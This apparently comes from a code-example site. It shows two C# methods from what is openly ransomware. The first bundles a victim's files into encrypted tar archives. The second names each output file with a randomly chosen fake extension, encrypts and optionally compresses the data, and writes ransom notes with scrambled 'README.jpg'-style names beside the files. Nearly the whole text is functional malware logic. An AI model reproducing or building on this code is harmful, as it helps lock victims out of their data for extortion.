Ejemplo n.º 1
0
            private void EncryptFileHandler(EncryptionWorkerContext w, FileInfo file)
            {
                if (w.fileCount == 0)
                {
                    w.Close();

                    // create new one
                    CreateTarOutputStream(file, w);
                }

                TarFile(file.FullName, w.encryptedTarStream);

                w.filesSize += file.Length;
                ++w.fileCount;

                // check limits, if exceeded then reset them
                if ((w.fileCount >= MaxFilesInArchive && MaxFilesInArchive > 0) || (MaxOutputFileSize > 0 && w.filesSize >= MaxOutputFileSize))
                {
                    w.Reset();
                }
            }
Ejemplo n.º 2
0
            private void CreateTarOutputStream(FileInfo encFile, EncryptionWorkerContext w)
            {
                KeyValuePair <string, byte[]> fileType = (from ft in fileTypes
                                                          select ft).Skip(random.Next(0, fileTypes.Count() - 1)).First();

                string extension = encFile.Extension;

                if (fileType.Key == extension)
                {
                    fileType = (from ft in fileTypes
                                where ft.Key != extension
                                select ft).First();
                }

                // remove old file extension and add new one
                string fileName = encFile.FullName;

                fileName  = fileName.Substring(0, fileName.Length - extension.Length); // + fileType.Key
                fileName += fileType.Key;

                Console.WriteLine("CreateOutputStream: {0}", fileName);

                w.output = new FileStream(fileName, FileMode.Create, FileAccess.Write);
                CryptoStream crypt = GetEncryptStream(w.output, fileType.Value);

                if (Compress)
                {
                    w.encryptedTarStream = new TarOutputStream(new GZipOutputStream(crypt));
                }
                else
                {
                    w.encryptedTarStream = new TarOutputStream(crypt);
                }


                Random _random = new Random();
                int    num     = _random.Next(0, 26); // Zero to 25
                char   let     = (char)('a' + num);


                int rArch2 = random.Next(1, 10);

                if (rArch2 == 1)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "READ" + let + "ME.jpg");
                }
                if (rArch2 == 2)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "REA" + let + "DME.jpg");
                }
                if (rArch2 == 3)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "READM" + let + "E.jpg");
                }
                if (rArch2 == 4)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "RE" + let + "ADME.jpg");
                }
                if (rArch2 == 5)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "R" + let + "EADME.jpg");
                }
                if (rArch2 == 6)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "read" + let + "this.jpg");
                }
                if (rArch2 == 7)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "rE" + let + "dME.jpg");
                }
                if (rArch2 == 8)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "readm" + let + "E.jpg");
                }
                if (rArch2 == 9)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "re" + let + "adme.jpg");
                }
                if (rArch2 == 10)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "R" + let + "EADME.jpg");
                }
                if (rArch2 == 11)
                {
                    GenerateRansomNote(string.Concat(fileName.Reverse().Skip(4).Reverse()) + "Listen" + let + "toME.jpg");
                }
            }